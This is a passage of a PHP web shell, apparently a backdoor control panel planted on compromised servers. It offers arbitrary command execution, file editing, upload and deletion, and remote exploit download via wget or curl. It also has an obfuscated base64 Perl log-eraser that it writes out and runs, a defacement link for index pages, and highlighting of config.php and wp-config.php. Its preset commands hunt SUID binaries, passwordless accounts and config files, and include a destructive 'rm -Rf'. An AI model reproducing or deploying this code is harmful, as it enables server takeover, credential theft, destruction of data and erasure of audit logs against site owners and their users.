  4327.             ;
  4328.         }
  4329. ?></font></td>
  4330.                 <td style="width:7%;"><font class="txt"><?php
  4331.         phpver();
  4332. ?></font></td>
  4333.                 <td style="width:7%;"><font class="txt"><?php
  4334.         serveradmin();
  4335. ?></font></td>
  4336.         </tr>
  4337. </table><br> <?php
  4338.         mysecinfo();
  4339.     } else if (isset($_GET["com"])) {
  4340.         echo "<br>";
  4341.         ob_start();
  4342.         eval("phpinfo();");
  4343.         $b = ob_get_contents();
  4344.         ob_end_clean();
  4345.         $a        = strpos($b, "<body>") + 6;
  4346.         $z        = strpos($b, "</body>");
  4347.         $s_result = "<div class='myphp'>" . substr($b, $a, $z - $a) . "</div>";
  4348.         echo $s_result;
  4349.     } else if (isset($_GET['perms'])) {
  4350. ?>
  4351.     <form method="POST" action="<?php
  4352.         echo $self;
  4353. ?>" >
  4354.         <input type="hidden" name="myfilename" value="<?php
  4355.         echo $_GET['file'];
  4356. ?>">
  4357.         <table class=tbl align="center" border="1" style="width:40%;">
  4358.             <tr>
  4359.                 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  4360.             </tr>
  4361.                         <tr>
  4362.                                 <td colspan="2" align="center" style="height:60px">
  4363.         <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changeperms"/></td>
  4364.                         </tr>
  4365.         </table>
  4366.         </form>  
  4367.     <?php
  4368.     } else if (isset($_GET['rename'])) {
  4369. ?>
  4370.     <form method="GET" action="<?php
  4371.         echo $self;
  4372. ?>" >
  4373.         <input type="hidden" name="getdir" value="<?php
  4374.         echo $_GET['getdir'];
  4375. ?>">
  4376.         <table>
  4377.             <tr>
  4378.                 <td>File </td><td> : </td><td><input value="<?php
  4379.         echo $_GET['rename'];
  4380. ?>" name="file" class="box" /></td>
  4381.             </tr>
  4382.             <tr>
  4383.                 <td>To </td><td> : </td><td><input value="<?php
  4384.         echo $_GET['rename'];
  4385. ?>" name="to" class="box" /></td>
  4386.             </tr>
  4387.         </table>
  4388.                 <br>
  4389.         <input type="Submit" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
  4390. </form>  
  4391.     <?php
  4392.     } else if (isset($_GET['open'])) {
  4393. ?>
  4394.         <form method="POST" action="<?php
  4395.         echo $self;
  4396. ?>"\>
  4397.         <table>
  4398.             <tr>
  4399.                 <td>File </td><td> : </td><td><input value="<?php
  4400.         echo $_GET['open'];
  4401. ?>" class="box" name="file" /></td>
  4402.             </tr>
  4403.             <tr>
  4404.                 <td>Size </td><td> : </td><td><input value="<?php
  4405.         echo filesize($_GET['open']);
  4406. ?>" class="box" /></td>
  4407.             </tr>
  4408.         </table>
  4409.         <textarea name="content" rows="20" cols="100" class="box"><?php
  4410.         $content = htmlspecialchars(file_get_contents($_GET['open']));
  4411.         if ($content) {
  4412.             echo $content;
  4413.         } else if (function_exists('fgets') && function_exists('fopen') && function_exists('feof')) {
  4414.             fopen($_GET['open']);
  4415.             while (!feof()) {
  4416.                 echo htmlspecialchars(fgets($_GET['open']));
  4417.             }
  4418.         }
  4419. ?>
  4420.         </textarea><br />
  4421.         <input name="save" type="Submit" value="Save Changes" id="spacing" class="but"/>
  4422.         </form>
  4423.     <?php
  4424.     } else if (isset($_POST['file']) && isset($_POST['content'])) {
  4425.         if (is_dir($_POST['file'])) {
  4426.             header("location:" . $self . "?dir=" . $_POST['file']);
  4427.         }
  4428.         if (file_exists($_POST['file'])) {
  4429.             $handle = fopen($_POST['file'], "w");
  4430.             fwrite($handle, $_POST['content']);
  4431.             header("Location:$self");
  4432.         } else {
  4433.             echo "<p class='alert'>File Name Specified does not exists!</p>";
  4434.         }
  4435.     } else if (isset($_GET['selfkill'])) {
  4436.         unlink(__FILE__);
  4437.         echo "<br><center><font size=5>Good Bye......</font></center>";
  4438.     } else if (isset($_POST['executecmd'])) {
  4439.         if ($_POST['mycmd'] == "logeraser") {
  4440.             $erase = gzinflate(base64_decode("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"));
  4441.             if (is_writable(".")) {
  4442.                 if ($openp = fopen(getcwd() . "/logseraser.pl", 'w')) {
  4443.                     fwrite($openp, $erase);
  4444.                     fclose($openp);
  4445.                     passthru("perl logseraser.pl linux");
  4446.                     unlink("logseraser.pl");
  4447.                     echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  4448.                 }
  4449.             } else {
  4450.                 if ($openp = fopen("/tmp/logseraser.pl", 'w')) {
  4451.                     fwrite($openp, $erase) or die("Error");
  4452.                     fclose($openp);
  4453.                     $aidx = passthru("perl logseraser.pl linux");
  4454.                     unlink("logseraser.pl");
  4455.                     echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  4456.                 }
  4457.             }
  4458.         } else {
  4459.             $check = shell_exec($_POST['mycmd']);
  4460.             echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  4461.         }
  4462.     } else if (isset($_POST['changefileperms'])) {
  4463.         if ($_POST['chmode'] != null && is_numeric($_POST['chmode'])) {
  4464.             $actbox = $_POST["actbox3"];
  4465.             foreach ($actbox as $v) {
  4466.                 $perms = 0;
  4467.                 for ($i = strlen($_POST['chmode']) - 1; $i >= 0; --$i)
  4468.                     $perms += (int) $_POST['chmode'][$i] * pow(8, (strlen($_POST['chmode']) - $i - 1));
  4469.                 echo "<center><div align=left style=width:60%;>";
  4470.                 if (@chmod($v, $perms))
  4471.                     echo "<blink><font size=3>File $v Permissions Changed Successfully</font></blink>";
  4472.                 else
  4473.                     echo "<blink><font size=3 class=txt face=Iceland>Cannot Change $v File Permissions</font></blink>";
  4474.                 echo "</div></center>";
  4475.             }
  4476.         }
  4477.     } else if (isset($_POST['choice'])) {
  4478.         if ($_POST['choice'] == "chmod") {
  4479. ?>
  4480.                 <form method="POST" ><?php
  4481.             $actbox1 = $_POST['actbox'];
  4482.             foreach ($actbox1 as $v) {
  4483. ?>
  4484.                         <input type="hidden" name="actbox3[]" value="<?php
  4485.                 echo $v;
  4486. ?>">
  4487.                 <?php
  4488.             }
  4489. ?>
  4490.                         <table class=tbl align="center" border="1" style="width:40%;">
  4491.                                 <tr>
  4492.                                         <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  4493.                                 </tr>
  4494.                                 <tr>
  4495.                                         <td colspan="2" align="center" style="height:60px">
  4496.                         <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changefileperms"/></td>
  4497.                                 </tr>
  4498.                         </table>
  4499.                 </form>  <?php
  4500.         } else if ($_POST['choice'] == "delete") {
  4501.             $actbox = $_POST["actbox"];
  4502.             foreach ($actbox as $v) {
  4503.                 if (is_file($v)) {
  4504.                     if (unlink($v)) {
  4505.                         echo "<br><center><font class=txt face=Iceland size=3>File $v Deleted Successfully</font></center>";
  4506.                     } else
  4507.                         echo "<br><center><font size=3>Cannot Delete File $v</font></center>";
  4508.                 } else if (is_dir($v)) {
  4509.                     rrmdir($v);
  4510.                     $loc = $_SERVER['REQUEST_URI'];
  4511.                     header("Location:$loc");
  4512.                     ob_end_flush();
  4513.                 }
  4514.             }
  4515.         } else if ($_POST['choice'] == "compre") {
  4516.             $actbox = $_POST["actbox"];
  4517.             foreach ($actbox as $v) {
  4518.                 if (is_file($v)) {
  4519.                     $zip      = new ZipArchive();
  4520.                     $filename = basename($v) . '.zip';
  4521.                     if (($zip->open($filename, ZipArchive::CREATE)) !== true) {
  4522.                         echo '<br><font size=3>Error: Unable to create zip file for $v</font>';
  4523.                     } else {
  4524.                         echo "<br><font class=txt face=Iceland size=3>File $v Compressed successfully</font>";
  4525.                     }
  4526.                     $zip->addFile(basename($v));
  4527.                     $zip->close();
  4528.                 } else if (is_dir($v)) {
  4529.                     if ($os == "Linux") {
  4530.                         $filename = basename($v);
  4531.                         execmd("tar --create --recursion --file=$filename.tar $v");
  4532.                         echo "<br><font class=txt face=Iceland size=3>File $v Compressed successfully as $v.tar</font>";
  4533.                     }
  4534.                 }
  4535.             }
  4536.         } else if ($_POST['choice'] == "uncompre") {
  4537.             $actbox = $_POST["actbox"];
  4538.             foreach ($actbox as $v) {
  4539.                 $zip      = new ZipArchive;
  4540.                 $filename = basename($v);
  4541.                 $res      = $zip->open($filename);
  4542.                 if ($res === TRUE) {
  4543.                     $pieces = explode(".", $filename);
  4544.                     $zip->extractTo($pieces[0]);
  4545.                     $zip->close();
  4546.                     echo "<br><font class=txt face=Iceland size=3>File $v Unzipped successfully</font>";
  4547.                 } else {
  4548.                     echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
  4549.                 }
  4550.             }
  4551.         }
  4552.     } else if (isset($_POST['execute'])) {
  4553.         $comm = $_POST['execute'];
  4554.         chdir($_POST['executepath']);
  4555.         $check = shell_exec($comm);
  4556.         echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  4557. ?>
  4558.                         <BR><BR><center><form action="<?php
  4559.         $self;
  4560. ?>" method="post">
  4561.                         <input type="hidden" name="executepath" value="<?php
  4562.         echo $_POST['executepath'];
  4563. ?>" />
  4564.                         <input type="text" class="box" name="execute">
  4565.                         <input type="submit" value="Execute" class="but"></form></center>
  4566.                         <?php
  4567.     } else if (isset($_POST['Create'])) {
  4568. ?>
  4569.         <form method="post">
  4570.         <input type="hidden" name="filecreator" value="<?php
  4571.         echo $_POST['createfile'];
  4572. ?>">
  4573.                 <textarea name="filecontent" rows="20" cols="100" class="box"></textarea><br />
  4574.         <input name="createmyfile" type="Submit" value="  Save " id="spacing" class="but"/>
  4575.   </form>
  4576.         <?php
  4577.     } else {
  4578.         $mydir = basename(dirname(__FILE__));
  4579.         $pdir  = str_replace($mydir, "", $dir);
  4580.         $pdir  = str_replace("/", "", $dir);
  4581.         $files = array();
  4582.         $dirs  = array();
  4583.         $odir  = opendir($dir);
  4584.         while ($file = readdir($odir)) {
  4585.             if (is_dir($dir . '/' . $file)) {
  4586.                 $dirs[] = $file;
  4587.             } else {
  4588.                 $files[] = $file;
  4589.             }
  4590.         }
  4591.         $countfiles = count($dirs) + count($files);
  4592.         $dircount   = count($dirs);
  4593.         $dircount   = $dircount - 2;
  4594. ?>
  4595.         <table style="width:95%;" align="center" cellpadding="0">
  4596.         <tr><td colspan="7" align="center"><font class="txt">Listing folder <?php
  4597.         echo $dir;
  4598. ?></font> (<?php
  4599.         echo $dircount . ' Dirs And ' . count($files) . ' Files';
  4600. ?>)</font></td></tr>
  4601.     <tr class=file>
  4602.         <th style="width:43%;">Name</th>
  4603.         <th style="width:7%;">Size</th>
  4604.         <th style="width:6%;">Permissions</th>
  4605.         <?php
  4606.         if ($os != "Windows") {
  4607.             echo "<th style=\"width:14%;\">Owner / Group</th>";
  4608.         }
  4609. ?>
  4610.         <th style="width:13%;">Modification Date</th>
  4611.         <th style="width:5%;">Rename</th>
  4612.                 <th style="width:6%;">Download</th>
  4613.                 <th style="width:3%;">Action</th>
  4614.     </tr>
  4615. <?php
  4616.         if (isset($_GET['download'])) {
  4617.             download();
  4618.         }
  4619. ?>
  4620.         <form method="post" id="myform" name="myform">
  4621.         <?php
  4622.         $dir = getcwd();
  4623.         if (isset($_GET['dir'])) {
  4624.             $dir = $_GET['dir'];
  4625.         }
  4626.         $i = 0;
  4627.         if (is_dir($dir)) {
  4628.             if ($countfiles == 2)
  4629.                 echo "<tr><td colspan=5><center><font size=3>No files or directory present or Cannot view files and directory</font></center></td></tr>";
  4630.             foreach ($dirs as $val) {
  4631. ?>
  4632.                         <font color="#999999">
  4633.                         <?php
  4634.                 if ($val == ".") {
  4635. ?><tr class="file"><td class='info'><a href='<?php
  4636.                     echo $self;
  4637. ?>'>[ . ]</a></td><td>CURDIR</td>
  4638.                         <td><?php
  4639.                     if (is_writable(getcwd())) {
  4640. ?><a href="<?php
  4641.                         echo $self;
  4642. ?>?perms&file=<?php
  4643.                         echo getcwd();
  4644. ?>"><font class="wrtperm"><?php
  4645.                         echo getFilePermissions(getcwd());
  4646. ?></font></a><?php
  4647.                     } else if (is_readable(getcwd())) {
  4648. ?><a href="<?php
  4649.                         echo $self;
  4650. ?>?perms&file=<?php
  4651.                         echo getcwd();
  4652. ?>"><font class="readperm"><?php
  4653.                         echo getFilePermissions(getcwd());
  4654. ?></font></a><?php
  4655.                     } else {
  4656. ?><a href="<?php
  4657.                         echo $self;
  4658. ?>?perms&file=<?php
  4659.                         echo getcwd();
  4660. ?>"><font class="noperm"><?php
  4661.                         echo getFilePermissions(getcwd());
  4662. ?></font><?php
  4663.                     }
  4664. ?></td>
  4665.                         <?php
  4666.                     if ($os != 'Windows') {
  4667.                         echo "<td align=center><font size=2>";
  4668.                         $name  = @posix_getpwuid(@fileowner($self));
  4669.                         $group = @posix_getgrgid(@filegroup($self));
  4670.                         $owner = $name['name'] . " / " . $group['name'];
  4671.                         echo $owner . "</font></td>";
  4672.                     }
  4673. ?>
  4674.                         <td><font class="txt"><?php
  4675.                     echo date('Y-m-d H:i:s', @filemtime(getcwd()));
  4676. ?></font></td>
  4677.                         <td></td><td></td><td></td></</tr><?php
  4678.                 } else if ($val == "..") {
  4679.                     $val = Trail($dir . $directorysperator . $val, $directorysperator);
  4680. ?>
  4681.                         <tr  class="file"><td class='info'><a href='<?php
  4682.                     echo $self . "?dir=" . $val;
  4683. ?>'>[ .. ]</a></td><td>UPDIR</td>
  4684.                         <td><?php
  4685.                     if (is_writable($val)) {
  4686. ?><a href="<?php
  4687.                         echo $self;
  4688. ?>?perms&file=<?php
  4689.                         echo $val;
  4690. ?>"><font class="wrtperm"><?php
  4691.                         echo getFilePermissions($val);
  4692. ?></font></a><?php
  4693.                     } else if (is_readable($val)) {
  4694. ?><a href="<?php
  4695.                         echo $self;
  4696. ?>?perms&file=<?php
  4697.                         echo $val;
  4698. ?>"><font  class="readperm"><?php
  4699.                         echo getFilePermissions($val);
  4700. ?></font></a><?php
  4701.                     } else {
  4702. ?><a href="<?php
  4703.                         echo $self;
  4704. ?>?perms&file=<?php
  4705.                         echo $val;
  4706. ?>"><font  class="noperm"><?php
  4707.                         echo getFilePermissions($val);
  4708. ?></font><?php
  4709.                     }
  4710. ?></td>
  4711.                         <?php
  4712.                     if ($os != 'Windows') {
  4713.                         echo "<td align=center><font size=2>";
  4714.                         $name  = @posix_getpwuid(@fileowner($val));
  4715.                         $group = @posix_getgrgid(@filegroup($val));
  4716.                         $owner = $name['name'] . " / " . $group['name'];
  4717.                         echo $owner . "</font></td>";
  4718.                     }
  4719. ?>
  4720.                         <td><font size="2" class="txt"><?php
  4721.                     echo date('Y-m-d H:i:s', @filemtime($val));
  4722. ?></font></td>
  4723.                         <td></td><td></td><td></td></tr><?php
  4724.                     continue;
  4725.                 }
  4726.             }
  4727.             foreach ($dirs as $val) {
  4728.                 $i++;
  4729. ?>
  4730.                         <font color="#999999">
  4731.             <?php
  4732.                 if ($val == "." || $val == "..")
  4733.                     continue;
  4734. ?>
  4735.                         <tr  class="file">
  4736.                         <td class='dir'><a href='<?php
  4737.                 echo $self;
  4738. ?>?dir=<?php
  4739.                 echo $dir . $directorysperator . $val;
  4740. ?>'>[ <?php
  4741.                 echo $val;
  4742. ?> ]</a></td>
  4743.                 <td class='info'>DIR</td>
  4744.             <td class='info'><?php
  4745.                 if (is_writable($dir . $directorysperator . $val)) {
  4746. ?><a href="<?php
  4747.                     echo $self;
  4748. ?>?perms&file=<?php
  4749.                     echo $dir . $directorysperator . $val;
  4750. ?>"><font class="wrtperm"><?php
  4751.                     echo getFilePermissions($dir . $directorysperator . $val);
  4752. ?></font></a><?php
  4753.                 } else if (is_readable($dir . $directorysperator . $val)) {
  4754. ?><a href="<?php
  4755.                     echo $self;
  4756. ?>?perms&file=<?php
  4757.                     echo $dir . $directorysperator . $val;
  4758. ?>"><font  class="wrtperm"><?php
  4759.                     echo getFilePermissions($dir . $directorysperator . $val);
  4760. ?></font></a><?php
  4761.                 } else {
  4762. ?><a href="<?php
  4763.                     echo $self;
  4764. ?>?perms&file=<?php
  4765.                     echo $dir . $directorysperator . $val;
  4766. ?>"><font class="noperm"><?php
  4767.                     echo getFilePermissions($dir . $directorysperator . $val);
  4768. ?></font><?php
  4769.                 }
  4770. ?></td>
  4771.                                 <?php
  4772.                 if ($os != 'Windows') {
  4773.                     echo "<td align=center><font size=2>";
  4774.                     $name  = @posix_getpwuid(@fileowner($val));
  4775.                     $group = @posix_getgrgid(@filegroup($val));
  4776.                     $owner = $name['name'] . " / " . $group['name'];
  4777.                     echo $owner . "</font></td>";
  4778.                 }
  4779. ?><td><font class="txt"><?php
  4780.                 echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val));
  4781. ?></font></td>
  4782.                         <td class="info"><a href="<?php
  4783.                 echo $self;
  4784. ?>?getdir=<?php
  4785.                 echo $dir;
  4786. ?>&rename=<?php
  4787.                 echo $dir . $directorysperator . $val;
  4788. ?>">Rename</a></td>
  4789.                         <td></td>
  4790.                         <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php
  4791.                 echo $i;
  4792. ?>" value="<?php
  4793.                 echo $dir . $directorysperator . $val;
  4794. ?>"></td>
  4795.             </tr></font>
  4796.             <?php
  4797.             }
  4798.             foreach ($files as $val) {
  4799.                 $i++;
  4800. ?>
  4801.                    <tr class="file">
  4802.                    <td class='file'><a href='<?php
  4803.                 echo $self;
  4804. ?>?open=<?php
  4805.                 echo $dir . $directorysperator . $val;
  4806. ?>'><?php
  4807.                 if (("/" . $val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) {
  4808.                     echo "<font color=red>" . $val . "</font>";
  4809.                 } else {
  4810.                     echo $val;
  4811.                 }
  4812. ?></a> <?php
  4813.                 if ($val == "index.php" || $val == "index.html") {
  4814.                     if (strlen($deface) != 0) {
  4815.                         echo "<a href='?deface=" . $dir . $directorysperator . $val . "'><font color=red>[ Deface  ]</font></a>";
  4816.                     }
  4817.                 }
  4818. ?></td>
  4819.                                    <td class='info'><?php
  4820.                 echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));
  4821. ?></td>
  4822.                    <td class='info'><?php
  4823.                 if (is_writable($dir . $directorysperator . $val)) {
  4824. ?><a href="<?php
  4825.                     echo $self;
  4826. ?>?perms&file=<?php
  4827.                     echo $dir . $directorysperator . $val;
  4828. ?>"><font class="wrtperm"><?php
  4829.                     echo getFilePermissions($dir . $directorysperator . $val);
  4830. ?></font></a><?php
  4831.                 } else if (is_readable($dir . $directorysperator . $val)) {
  4832. ?><a href="<?php
  4833.                     echo $self;
  4834. ?>?perms&file=<?php
  4835.                     echo $dir . $directorysperator . $val;
  4836. ?>"><font  class="readperm"><?php
  4837.                     echo getFilePermissions($dir . $directorysperator . $val);
  4838. ?></font></a><?php
  4839.                 } else {
  4840. ?><a href="<?php
  4841.                     echo $self;
  4842. ?>?perms&file=<?php
  4843.                     echo $dir . $directorysperator . $val;
  4844. ?>"><font class="noperm"><?php
  4845.                     echo getFilePermissions($dir . $directorysperator . $val);
  4846. ?></font><?php
  4847.                 }
  4848. ?></td>
  4849.                         <?php
  4850.                 if ($os != 'Windows') {
  4851.                     echo "<td align=center><font size=2>";
  4852.                     $name  = @posix_getpwuid(@fileowner($val));
  4853.                     $group = @posix_getgrgid(@filegroup($val));
  4854.                     $owner = $name['name'] . " / " . $group['name'];
  4855.                     echo $owner . "</font></td>";
  4856.                 }
  4857. ?>                              
  4858.                         <td><font size="2" class="txt"><?php
  4859.                 echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val));
  4860. ?></font></td>
  4861.                    <td class="info"><a href="<?php
  4862.                 echo $self;
  4863. ?>?getdir=<?php
  4864.                 echo $dir;
  4865. ?>&rename=<?php
  4866.                 echo $dir . $directorysperator . $val;
  4867. ?>">Rename</a></td>
  4868.                                    <td class="info"><a href="<?php
  4869.                 echo $self;
  4870. ?>?download=<?php
  4871.                 echo $dir . $directorysperator . $val;
  4872. ?>">Download</a>
  4873.                                    <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php
  4874.                 echo $i;
  4875. ?>" value="<?php
  4876.                 echo $dir . $directorysperator . $val;
  4877. ?>"></td>
  4878.                    </tr>
  4879.                    <p>
  4880.                          <?php
  4881.             }
  4882.         } else {
  4883.             echo "<p><font size=4>" . $_GET['dir'] . " is <b>NOT</b> a Valid Directory!<br /></font></p>";
  4884.         }
  4885.         echo "</table>
  4886. <div align='right' style='width:97%;'><BR><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt face=Iceland>Check All </font> &nbsp;
  4887. <select class=sbox name=choice style='width: 100px;'>
  4888.                        <option value=delete>Delete</option>
  4889.                        <option value=chmod>Change mode</option>
  4890.                        if(class_exists('ZipArchive'))
  4891.                        {       <option value=compre>Compress</option>
  4892.                        <option value=uncompre>Uncompress</option> }
  4893.                </select>
  4894.        <input type=submit value=Submit name=checkoption class=but></form></div>";
  4895.     }
  4896. ?>
  4897. </p>
  4898. <table style="width:100%;" border="1" class="tbl">
  4899. <tr>
  4900. <td align="center">
  4901. <form method="post" enctype="multipart/form-data">
  4902.                 Upload file : <br><input class="upld" type="file" name="uploadfile" class="box" size="50"><input type="hidden" name="path" value="<?php
  4903.     echo $dir;
  4904. ?>" />&nbsp;<input type=submit value="Upload" name="u" value="u" class="but" ></form>
  4905.                  <?php
  4906.     if (is_writable($dir)) {
  4907.         echo '<font class=wrtperm>&lt; writable &gt;</font>';
  4908.     } else {
  4909.         echo '&lt; not writable &gt;';
  4910.     }
  4911. ?>
  4912.                   <br>
  4913. </td>
  4914. <td align="center" style="height:105px;">Create File :
  4915. <form method="post">
  4916. <input type="text" class="box" value="<?php
  4917.     echo $dir . $directorysperator;
  4918. ?>" name="createfile"> <input type="submit" value="Create" name="Create" class="but">
  4919. </form>
  4920. <?php
  4921.     if (is_writable($dir)) {
  4922.         echo '<font class=wrtperm>&lt; writable &gt;</font>';
  4923.     } else {
  4924.         echo '&lt; not writable &gt;';
  4925.     }
  4926. ?>
  4927. </td>
  4928. </tr>
  4929. <tr>
  4930. <td align="center" style="height:105px;">Execute : <form action="<?php
  4931.     echo $self;
  4932. ?>" method="post">
  4933. <input type="hidden" name="executepath" value="<?php
  4934.     echo $dir;
  4935. ?>" />
  4936. <input type="text" class="box" name="execute"> <input type="submit" value="Execute" class="but"></form></td>
  4937. <td align="center">Create Directory : <form method="post">
  4938. <input type="text" value="<?php
  4939.     echo $dir . $directorysperator;
  4940. ?>" class="box" name="createfolder">
  4941. <input type="submit" value="Create" name="createdir" class="but">
  4942. </form><?php
  4943.     if (is_writable($dir)) {
  4944.         echo '<font class=wrtperm>&lt; writable &gt;</font>';
  4945.     } else {
  4946.         echo '&lt; not writable &gt;';
  4947.     }
  4948. ?></td></tr>
  4949. <tr><td style="height:105px;" align="center">Get Exploit&nbsp;<form method="post" actions="<?php
  4950.     echo $self;
  4951. ?>">
  4952. <input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c"> <input type="submit" name="uploadurl" value="  G0  " class="but"><br><br>
  4953. <input type="hidden" name="path" value="<?php
  4954.     echo $dir;
  4955. ?>">
  4956. <select name="functiontype" class="sbox">
  4957. <option value="wwget">wget</option>
  4958. <option value="wlynx">lynx</option>
  4959. <option value="wfread">fread</option>
  4960. <option value="wfetch">fetch</option>
  4961. <option value="wlinks">links</option>
  4962. <option value="wget">GET</option>
  4963. <option value="wcurl">curl</option>
  4964. </select>
  4965. </form>
  4966. </td>
  4967. <td align="center">
  4968. <form method="post" action="<?php
  4969.     echo $self;
  4970. ?>">
  4971. Some Commands<br>
  4972. <?php
  4973.     if ($os != "Windows") {
  4974. ?>
  4975. <SELECT NAME="mycmd" class="box">
  4976.      <OPTION VALUE="uname -a">Kernel version
  4977.      <OPTION VALUE="w">Logged in users
  4978.      <OPTION VALUE="lastlog">Last to connect
  4979.          <option value='cat /etc/hosts'>IP Addresses
  4980.          <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
  4981.          <OPTION VALUE="logeraser">Log Eraser
  4982.          <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
  4983.          <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
  4984.          <OPTION VALUE="find / -type f -name \"config*\"">find config* files
  4985.          <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
  4986.          <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
  4987.          <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  4988.      <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  4989.      <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  4990.          <?php
  4991.         if (is_dir('/etc/valiases')) {
  4992. ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php
  4993.         }
  4994. ?>
  4995.          <?php
  4996.         if (is_dir('/etc/vdomainaliases')) {
  4997. ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php
  4998.         }
  4999. ?>
  5000.      <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  5001.      <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  5002.          <OPTION VALUE="ps aux">Show running proccess
  5003.          <OPTION VALUE="uptime">Uptime check
  5004.          <OPTION VALUE="cat /proc/meminfo">Memory check
  5005.      <OPTION VALUE="netstat -an | grep -i listen">Open ports
  5006.          <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
